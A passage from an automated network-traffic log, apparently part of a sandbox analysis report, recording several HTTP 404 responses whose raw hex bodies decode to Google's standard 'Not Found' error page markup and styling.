61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:42 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:52 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:57 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:04 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:07 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 